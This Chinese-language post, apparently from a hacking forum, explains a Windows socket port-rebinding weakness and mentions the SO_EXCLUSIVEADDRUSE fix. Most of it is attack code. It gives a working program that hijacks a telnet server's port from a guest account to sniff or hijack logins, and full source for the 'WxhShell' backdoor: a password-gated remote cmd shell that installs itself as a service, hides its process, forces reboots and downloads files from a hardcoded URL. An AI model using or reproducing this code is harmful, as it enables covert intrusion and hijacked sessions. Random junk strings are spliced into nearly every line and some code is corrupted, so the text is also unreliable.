在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
LV@tt&|N
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
dLbSvK<(I 0b}.!k9 saddr.sin_family = AF_INET;
*h
M5pw _)ZxD--Qg saddr.sin_addr.s_addr = htonl(INADDR_ANY);
;T :]?5W! pEq }b+- bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
in7h^6?I 2" u,f 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
PW+B&7{ 0]xp"xOwW 这意味着什么?意味着可以进行如下的攻击:
MW|R)gt +vIsYg*#2M 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
c Rv#aV Z '~Ie~ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
H>F j bD`h/jYv 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
#z =$*\u ]cM,m2^2 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
r2m&z%N& {ObUJ3 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
nL+y"O 6z2%/P-' 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
g\1|<jb3 .u:aX$t+ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
:6J&%n
R(f6uO!m #include
@?*;
-]#) #include
^$s&bH'8 #include
y I} > #include
kD}vK+ DWORD WINAPI ClientThread(LPVOID lpParam);
RT<HiVr` int main()
>%LY0(hY3 {
rgF4 W8 WORD wVersionRequested;
)]C(NTfxg DWORD ret;
O!P7Wu WSADATA wsaData;
q!{>Nlk BOOL val;
rV}&G!V_t SOCKADDR_IN saddr;
`L%<3/hF SOCKADDR_IN scaddr;
_R}yZ=di int err;
Lk.tEuj=82 SOCKET s;
3F32 /_` SOCKET sc;
OMAvJzK . int caddsize;
$r)NL HANDLE mt;
n(W&GSj|u9 DWORD tid;
[l}H%S wVersionRequested = MAKEWORD( 2, 2 );
x/0loW?q^ err = WSAStartup( wVersionRequested, &wsaData );
BS3{TGn if ( err != 0 ) {
m(`O>zS printf("error!WSAStartup failed!\n");
=w/AJ%6 return -1;
3_"tds <L }
iKu4s saddr.sin_family = AF_INET;
#,h0K hQeG#KQ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
Ax*xa6_2 mrBK{@n saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
)Em`kle saddr.sin_port = htons(23);
o4jh n[Fx if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
5?m4B:W {
EHK+qrym printf("error!socket failed!\n");
:LCyxLI return -1;
{DZ xK( }
P !I Lji! val = TRUE;
Q/0oe()) //SO_REUSEADDR选项就是可以实现端口重绑定的
]QGo(+ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
\1hQ7:f;\ {
6!SW]#sD printf("error!setsockopt failed!\n");
O8~RfB return -1;
L{oG'aK4 }
&ET$ca`j# //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
$Z3{D:-) //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
QH_Ds,oH= //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
pj$kSS|m6- k*D8IB if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
u4$R ZTC {
fZcA{$Vc]N ret=GetLastError();
}WhRJr`a printf("error!bind failed!\n");
wVs"+4l< return -1;
_bt9{@) }
]Y@_ 2` listen(s,2);
>+DMTV[O while(1)
\BX9Wn*)a {
_l2_) ~ caddsize = sizeof(scaddr);
[^D>xD3B2 //接受连接请求
L1f=90 sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
bu-6}T+ if(sc!=INVALID_SOCKET)
{< EPm&q {
O[\mPFu5 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
#8~ygEa} if(mt==NULL)
KTBtLUH]*F {
9bhubx\^/ printf("Thread Creat Failed!\n");
(\o4 c0UzK break;
=R "LB}>h} }
P@D\5}*6 }
tEt46]{ CloseHandle(mt);
O*.n;_& }
#M4LG; B closesocket(s);
n(|rs WSACleanup();
Ow(aRWUZD_ return 0;
=zu;npM }
`"hWbmQ DWORD WINAPI ClientThread(LPVOID lpParam)
Kv)} {
Fv$A%6;W SOCKET ss = (SOCKET)lpParam;
PpH
;p.-!d SOCKET sc;
{rK]Q! yj unsigned char buf[4096];
(UCCEQq5 SOCKADDR_IN saddr;
LzDRy L long num;
T+B8SZw#}! DWORD val;
q|0l>DPRp DWORD ret;
K]uH7-YvL/ //如果是隐藏端口应用的话,可以在此处加一些判断
bZr,jLEf //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
__zHe-.m saddr.sin_family = AF_INET;
IZ\fvYp saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
8_o~0lb saddr.sin_port = htons(23);
i=1crJ: if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
ec/>LJDX7 {
K|OPtYeb printf("error!socket failed!\n");
;)wk^W return -1;
,LP^v'[V7 }
hg#O_4D val = 100;
!|j|rYi- if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
h&n1}W+ {
[S8*b^t4 ret = GetLastError();
y/kB`Z(Yj return -1;
0TSB<,9a[ }
!d U$1:7 if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
t`{T:Tjc {
bo(w$&
VW ret = GetLastError();
e$2P/6k> return -1;
0
x' d^ }
L &hw-.Q if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
(x?Tjyzw {
T:zM]%Xh printf("error!socket connect failed!\n");
kU=U u> closesocket(sc);
rf%VSxD9 closesocket(ss);
-ucgET` return -1;
c#"t.j<E} }
;,e16^\' & while(1)
NdSuOkwwt {
m{?f,Q=u@ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
XPD1HN!,LT //如果是嗅探内容的话,可以再此处进行内容分析和记录
CaO-aL //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
; :q num = recv(ss,buf,4096,0);
OG$v"Yf~ if(num>0)
EwU)(UK send(sc,buf,num,0);
&e;Qabwxva else if(num==0)
Ox&G
[ break;
lw[c+F7 num = recv(sc,buf,4096,0);
**kix if(num>0)
X(X[v] send(ss,buf,num,0);
H,5]w\R6\ else if(num==0)
m&gB;g3: break;
$7c,<= }
ZV+tHgzlv5 closesocket(ss);
M}# DX=NZc closesocket(sc);
|\?u-O3 return 0 ;
fFqYRK }
A;RV~!xx C !Srv7 25-h5$s ==========================================================
1^X)vck O0xqA\ 下边附上一个代码,,WXhSHELL
ocJG4# =gM@[2 ==========================================================
O^row1D_ 2~?E' #include "stdafx.h"
L*[3rqER G%t>Ll``C #include <stdio.h>
j;Z?q%M{6 #include <string.h>
\rzMgR$/rj #include <windows.h>
qrw #include <winsock2.h>
-Z$u[L [c #include <winsvc.h>
u"*DI=pwb #include <urlmon.h>
bNVeL$' CCe>*tdf #pragma comment (lib, "Ws2_32.lib")
R=LiB+p #pragma comment (lib, "urlmon.lib")
jd-]q2fQ| SnmUh~`L~ #define MAX_USER 100 // 最大客户端连接数
~8u *sy #define BUF_SOCK 200 // sock buffer
($[+dR #define KEY_BUFF 255 // 输入 buffer
%csrNf DI{*E #define REBOOT 0 // 重启
eOE*$pH #define SHUTDOWN 1 // 关机
e@W+ehx" q -8G #define DEF_PORT 5000 // 监听端口
r9})~>
r.\L@Y< #define REG_LEN 16 // 注册表键长度
3^+D,)#D^ #define SVC_LEN 80 // NT服务名长度
IUFc_uL@\ 8$
u"92 // 从dll定义API
Wq1 jTIQ typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MkPQ@so typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
daI_@k Y" typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
4>>=TJ!M typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
$3g{9)} 96(Mu% l // wxhshell配置信息
QH9t |l struct WSCFG {
:]@c%~~!& int ws_port; // 监听端口
<]M.K3> char ws_passstr[REG_LEN]; // 口令
k_=yb^6[U int ws_autoins; // 安装标记, 1=yes 0=no
W-n4wIj" char ws_regname[REG_LEN]; // 注册表键名
E>|X'I?r^ char ws_svcname[REG_LEN]; // 服务名
k6;bUOo char ws_svcdisp[SVC_LEN]; // 服务显示名
Z_\p8@3aH char ws_svcdesc[SVC_LEN]; // 服务描述信息
5FoZ$I char ws_passmsg[SVC_LEN]; // 密码输入提示信息
W8^m-B& int ws_downexe; // 下载执行标记, 1=yes 0=no
Y#ZgrziYM char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
]$@D=g,r char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:-46"bP. "s(~k };
05`"U#`: @owneSD qN // default Wxhshell configuration
3S:Lce'f struct WSCFG wscfg={DEF_PORT,
`x9Eo4(/ "xuhuanlingzhe",
<h7cQ 1,
YB5"i9T2 "Wxhshell",
_s=H|#l
"Wxhshell",
_qxI9Q}<" "WxhShell Service",
5 8bW "Wrsky Windows CmdShell Service",
"+F'WCJ-(* "Please Input Your Password: ",
[ >O!~ 1,
YA4 D?' "
http://www.wrsky.com/wxhshell.exe",
F)LbH&Kn "Wxhshell.exe"
hJ@vlMW };
Q5+1'mzAB h+FM?ct6} // 消息定义模块
)D,KG_7l char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
AI-*5[w#A char *msg_ws_prompt="\n\r? for help\n\r#>";
Yq+1kA char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
7>JTQ CJ char *msg_ws_ext="\n\rExit.";
)(G9[DG char *msg_ws_end="\n\rQuit.";
*;o%*: char *msg_ws_boot="\n\rReboot...";
fK J-/{| char *msg_ws_poff="\n\rShutdown...";
FZr/trP~ char *msg_ws_down="\n\rSave to ";
4ba*Nc*Yc Y}:~6`-jj char *msg_ws_err="\n\rErr!";
9P?0D char *msg_ws_ok="\n\rOK!";
g4IF~\QRVi $C4~v char ExeFile[MAX_PATH];
fZG Y'o&5 int nUser = 0;
%71i&T F HANDLE handles[MAX_USER];
'NEl`v*<P int OsIsNt;
[FO4x` ~KBa-i%o SERVICE_STATUS serviceStatus;
zJe KB8 SERVICE_STATUS_HANDLE hServiceStatusHandle;
No^gKh24 PsC")JS // 函数声明
j/ 5 int Install(void);
"o5]:]h) int Uninstall(void);
".?4`@7F\ int DownloadFile(char *sURL, SOCKET wsh);
n|( lPbD int Boot(int flag);
SH%NYjj void HideProc(void);
A3jxjQ int GetOsVer(void);
!J$r|IX5 int Wxhshell(SOCKET wsl);
8<=^Rkz void TalkWithClient(void *cs);
hbw(o
int CmdShell(SOCKET sock);
rq+_[! int StartFromService(void);
<LHhs<M' int StartWxhshell(LPSTR lpCmdLine);
OW7 z$~x 2< VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
^/f~\#R VOID WINAPI NTServiceHandler( DWORD fdwControl );
1Cr&6 't l2D*b93 // 数据结构和表定义
|5&+VI SERVICE_TABLE_ENTRY DispatchTable[] =
n(:<pz {
]; w 2YR {wscfg.ws_svcname, NTServiceMain},
1[FN: hm {NULL, NULL}
J=g)rd[` };
3$|/7(M&DA O)'CU1vMb // 自我安装
{v?Q9 int Install(void)
slQn {
+7_qg
i7: char svExeFile[MAX_PATH];
vsY?q8+P HKEY key;
/bo}I-<2 strcpy(svExeFile,ExeFile);
PL/g| ; 6(n0{A // 如果是win9x系统,修改注册表设为自启动
PDNl]? if(!OsIsNt) {
w"hd_8cO if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
iRQ!J1SGcG RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
Aoe\\'O|V RegCloseKey(key);
8z=#
0+0 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
.u-a+ac< RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
VkQ@c;C RegCloseKey(key);
wKJG 31I^ return 0;
vFPY|Vzh }
2t= =<x }
K-RmB4WI }
)Z7Vm2a else {
HD j6E" _CwTe=K} // 如果是NT以上系统,安装为系统服务
X8C7d6ca SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7;>|9k if (schSCManager!=0)
lC<;Q*Y {
}(EH5jZ' SC_HANDLE schService = CreateService
VotC YJ (
rXx#<7` schSCManager,
6VW*8~~Xy wscfg.ws_svcname,
hU?DLl:bXF wscfg.ws_svcdisp,
JT+c7W7 SERVICE_ALL_ACCESS,
YWZ;@,W SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
3j7FG%\ SERVICE_AUTO_START,
1%Xh[ SERVICE_ERROR_NORMAL,
>|f"EK}m! svExeFile,
0eY!Z._^ NULL,
J1w;m/oV NULL,
sJ6.3=
c NULL,
0 R6:3fV6R NULL,
IJ^~,+
NULL
-Vn#Ab_C );
YT(N][V if (schService!=0)
t. P@Ba^ {
p-4$)w~6i CloseServiceHandle(schService);
yD+4YD CloseServiceHandle(schSCManager);
Z?)g'n strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
J0xHpe strcat(svExeFile,wscfg.ws_svcname);
K[[~G1Z if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
Xa[k=qFo RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
$/wm k7T RegCloseKey(key);
AtQ.H-8r return 0;
v[dUUR f }
*HoRYCL }
">}6i9o CloseServiceHandle(schSCManager);
uw;Sfx,s }
gN/<g8 }
F0$w9p a?[[F{X9^ return 1;
>Hf{Mx{< }
RpJ7. ;Y7'U rn // 自我卸载
>wW{$ int Uninstall(void)
PaCCUF {
JK$3qUDnI HKEY key;
^r~[3NT Kg%9&l if(!OsIsNt) {
JduO^Fit if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
gUklP(T=u RegDeleteValue(key,wscfg.ws_regname);
7zu\tCWb RegCloseKey(key);
[qc1
V%g if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
}UPC~kC+Z RegDeleteValue(key,wscfg.ws_regname);
<h -)zI RegCloseKey(key);
Tg{5%~L] return 0;
'K7\[if{ }
:\^b6"}8 }
DNGyEC
}
qPDNDkjDD else {
|Y3w6 !$ orjtwF>^ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
sxT&T=7 if (schSCManager!=0)
n]g"H {
?I+{S SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
iT'doF if (schService!=0)
7yE\, {
z|pt)Xl if(DeleteService(schService)!=0) {
NjIPHM$g CloseServiceHandle(schService);
_r:Fmn_%- CloseServiceHandle(schSCManager);
2Q e&FeT return 0;
pX&bX_F{ }
}u8(7 CloseServiceHandle(schService);
J _rrc;F }
]'5Xjcx CloseServiceHandle(schSCManager);
{Z2nc)|7C }
>6S7#)0T }
+u|"q+p L6h<B
:l return 1;
_y4O2n[e }
ei-\t
qY_ |OeWM // 从指定url下载文件
v>keZZOs int DownloadFile(char *sURL, SOCKET wsh)
NgTB4I8P {
4EM+ Ye HRESULT hr;
ps'_Y<@ char seps[]= "/";
xt|^~~ / char *token;
%,WH*") char *file;
u\ _yjv# char myURL[MAX_PATH];
x$q} lJv_ char myFILE[MAX_PATH];
SnG(/1C8 *v%y;^{k[/ strcpy(myURL,sURL);
-J3~j kf token=strtok(myURL,seps);
sJZ2e6?n while(token!=NULL)
y'm!h?8 {
uXc;!* file=token;
Y\9}LgIvr token=strtok(NULL,seps);
W yM1s+@ }
pa46,q&M {dZ]+2Z~+ GetCurrentDirectory(MAX_PATH,myFILE);
oMN<jAU. strcat(myFILE, "\\");
Ry>y strcat(myFILE, file);
igo9~. send(wsh,myFILE,strlen(myFILE),0);
(
unmf,y send(wsh,"...",3,0);
*k7BE_&*0Z hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
=p_*lC%N if(hr==S_OK)
Nf([JP% 4 return 0;
!'H$08Ql} else
IW~wO return 1;
sQ`G'<! 4|K\pCw }
;j%I1k%A %[|^7 // 系统电源模块
#_.JkY int Boot(int flag)
u{DEOhtI4 {
opa}z-7>^ HANDLE hToken;
ir<e^a TOKEN_PRIVILEGES tkp;
{A/^;X{N^ ;p+'?%Y} if(OsIsNt) {
$.vm n,:. OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
nsI+04[F LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
:V.@:x>id tkp.PrivilegeCount = 1;
4fsd5# tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
SO6)FiPy!n AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
AY5iTbL1 if(flag==REBOOT) {
;~<To9O if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_;03R{e* return 0;
^m%#1Zd }
}PJsPIa3j else {
'{AB{)1 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
pA*C|g
return 0;
O?X[&t
}
uj6'T Sl }
_ 94
W@dW else {
T`!R
ki%~ if(flag==REBOOT) {
cuN ]}=D if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
0cycnOd return 0;
r+ bGZ }
^;_~mq. else {
`sKyvPtG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
e>z"{ u(F0 return 0;
(j'\h/ }
n- 2X?<_Z }
[@Ac# mU-2s%X<.^ return 1;
tkctwjD }
#r9+thyC V8/d27\ // win9x进程隐藏模块
|H
t5a. void HideProc(void)
\!\:p/f {
J|BElBY NVb}uH*i HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Hi09?AX if ( hKernel != NULL )
fi
HE`]0 {
!}!KT(%% pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
;NA5G:eQ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
#p(c{L! FreeLibrary(hKernel);
v8-My1toV }
st)is4 @SD XJJh return;
G^ GIHdo }
zjUQ] dT0W8oL // 获取操作系统版本
ytY\&m int GetOsVer(void)
r4mh:T4i {
Dd1k? OSVERSIONINFO winfo;
]S%_&ZMCM winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
5&8BO1V. GetVersionEx(&winfo);
zn>lF if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
k)3N0]q6 return 1;
^dpM2$J else
'b.jKkW7 return 0;
f$>_>E }
x~5,v5R^] us.[wp'Sh // 客户端句柄模块
Tg^8a,Lt int Wxhshell(SOCKET wsl)
"9xJ},:- {
e&x)g;bn SOCKET wsh;
(/uN+ struct sockaddr_in client;
Ze%S<xT!O DWORD myID;
gqv+|:# Yuv=<V while(nUser<MAX_USER)
qVh?%c1.Y {
Y!j/,FU int nSize=sizeof(client);
m u9,vH wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
h1q3}- if(wsh==INVALID_SOCKET) return 1;
!!L'{beF Ei:m@}g handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Z><+4
' if(handles[nUser]==0)
( 72%au closesocket(wsh);
Y"t|0dO%b else
oPs asa nUser++;
j?C[ids< }
%S^ke`MhF WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
_8$xsj4_ r4u,I<ZbH return 0;
<q'?[aKvR }
p*W{*wZ_^ M5*Ln-qt(a // 关闭 socket
~<u\YIJ void CloseIt(SOCKET wsh)
I 8i|tQz {
`%|3c closesocket(wsh);
-5e8m4* nUser--;
b:9"nALgC ExitThread(0);
uLv }
ipu~T)} I[A<e]uK // 客户端请求句柄
e lM<S3 void TalkWithClient(void *cs)
!}|'1HIC {
@RB^m(> 5 wy|b Hkr_ SOCKET wsh=(SOCKET)cs;
z*VK{O)o char pwd[SVC_LEN];
qCVb-f char cmd[KEY_BUFF];
.HTRvE`X char chr[1];
DCa=o int i,j;
KD\%B5Jy ymrnu-p o while (nUser < MAX_USER) {
*pO`sC> 'ym Mu}q if(wscfg.ws_passstr) {
@}^VA9ULK if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
9Pvv6WyKy //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
L5:1dF //ZeroMemory(pwd,KEY_BUFF);
I7h v'3u i=0;
+bso4 }rS while(i<SVC_LEN) {
w}/+3z v"Bm4+c&0 // 设置超时
2ETv H~23 fd_set FdRead;
>BJBM | struct timeval TimeOut;
<QgpePyoN FD_ZERO(&FdRead);
eF0FQlMe[ FD_SET(wsh,&FdRead);
D
@wIbU TimeOut.tv_sec=8;
>}Mw"
TimeOut.tv_usec=0;
Lf.Ia*R: int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
|BtFT if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
mxH63$R _`*G71PS if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
&D|+tu{ pwd
=chr[0]; T#e|{ZCbq
if(chr[0]==0xd || chr[0]==0xa) { am'K$s
pwd=0; giIPK&
break; J}-e9vK-#
} `S3)uV]I
i++; _/ 5
} dBM{]@bZ
Q`O~ f<a
// 如果是非法用户,关闭 socket ^VnnYtCRz
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gf!c
} Wj)v,v2&
qm9=Ga5
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); '19?
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); vwAhNw2-
:"nh76xg<
while(1) { 6xr%xk2E
-`X`Ff
ZeroMemory(cmd,KEY_BUFF); g%)cyri
1;,<UHF8N
// 自动支持客户端 telnet标准
1=X1<@*
j=0; 5+b73R3r
while(j<KEY_BUFF) { AYsHA w
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0=9$k
cmd[j]=chr[0]; oZL# *Z(h
if(chr[0]==0xa || chr[0]==0xd) { d&ff1(j(
cmd[j]=0; DHvZ:)aT}
break; J{5p4bkb
} 2PNe~9)*#
j++; tp"eXA0n
} qd'Z|'j
bq8h?Q
// 下载文件 x lsAct:
if(strstr(cmd,"http://")) { (b1e!gJpy
send(wsh,msg_ws_down,strlen(msg_ws_down),0); @'Pay)P
if(DownloadFile(cmd,wsh)) yI-EF)A@;
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z;;A#h'%e
else w)R5@
@C*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); alsD TQ'
} n7/&NiHxv/
else { iMV=R2t 2
hdmKD0
switch(cmd[0]) { "kVzN22
}{&;\^i
// 帮助 N&$ ,uhmO
case '?': { lPtML<a
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); /*M3Ns1@2
break; E},zB*5TH
} ;Z`R!
// 安装 ##alzC
case 'i': { /wP2Wnq$
if(Install()) bu08`P9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); i;juwc^n}
else wAL}c(EHO
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g^\!> i
break; )dJx82"
l
} k7cY^&o
// 卸载 9E[==2TO
case 'r': { :V_UJ3xf
if(Uninstall()) mwI7[I2q
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~zWLqnS}
else <jM
{ <8-
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uW!saT5o
break; ,^DP
} }-u%6KZ
// 显示 wxhshell 所在路径 h[<l2fy
case 'p': { _8\B~;0
char svExeFile[MAX_PATH]; VC%.u.< F
strcpy(svExeFile,"\n\r"); Bx5kqHp^1
strcat(svExeFile,ExeFile); 7;&,LH
send(wsh,svExeFile,strlen(svExeFile),0); 4x#tUzb;
break; K{B|
} o)R<sT
// 重启 %hdjQIH
case 'b': { (Fq:G) $
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); %}XyzGq{
if(Boot(REBOOT)) N0JdU4'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); es=OWJt^
else { j0(jXAc;UB
closesocket(wsh); Ps[#z@5{x
ExitThread(0); >Q?8tGfB
} {];-b0MS~
break; A5%$<
} *JQ*$$5
// 关机 Xil;`8h
case 'd': { NSH4 @x
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (Nv-wU
if(Boot(SHUTDOWN)) Zj1bG{G=i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); yf4L0.
else { @2*Q*
closesocket(wsh); N]6t)Zv
ExitThread(0); bMNr +N
} )feZ&G]
break; Kpa$1x
} a ~W
// 获取shell G.v(2~QFd
case 's': { k}NM]9EAE
CmdShell(wsh); cUdS{K&K
closesocket(wsh); dM P'Vnfj
ExitThread(0); !6@ 'H4cb=
break; L[,19;(
} +mzLOJed
// 退出 I0z 7bx
case 'x': { `|nCnT'
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); tMp!MQ
CloseIt(wsh); ,]W|"NUI
break; 2lOUNx Q$
} DuZ Zu
// 离开 0K26\1
case 'q': { L$.3,./
send(wsh,msg_ws_end,strlen(msg_ws_end),0); +}a(jO
closesocket(wsh); \IImxkE
WSACleanup(); J p+'"a
exit(1); #jW=K&;
break; &} `a"tYr
} .9PT)^2
} |iUC\F=-
} {\P%J:s#9
$sE=[j'v
// 提示信息 oW6Hufu+o
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); b \ln XN
} a%`%("g!
} !$oa6*<1
t'@mUX:-A
return; ^MF 2Q+
} 9Ffam#
?X@[ibH6
// shell模块句柄 /pPH D]
int CmdShell(SOCKET sock) #X?[")R
{ 7Y(Dg`8G
STARTUPINFO si; e'G=.:
ZeroMemory(&si,sizeof(si)); 5P"R'/[PA_
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3?]81v/
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; @:GqOTN
PROCESS_INFORMATION ProcessInfo; ?{J1Uw<
char cmdline[]="cmd"; Sq ]gU
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); <TtPwUX
return 0; !ZH "$m|
} w|s2f`!
fI<LxU_n:
// 自身启动模式 oMj"l#a*
int StartFromService(void) EHm*~Sd
{ IONo&~-l
typedef struct +u0of^}=
{ M?"4{
DWORD ExitStatus; VPYLDg.'
DWORD PebBaseAddress; A_wf_.l4h
DWORD AffinityMask; \EVT*v=}/
DWORD BasePriority; G&{yM2:E
ULONG UniqueProcessId; bXF8V
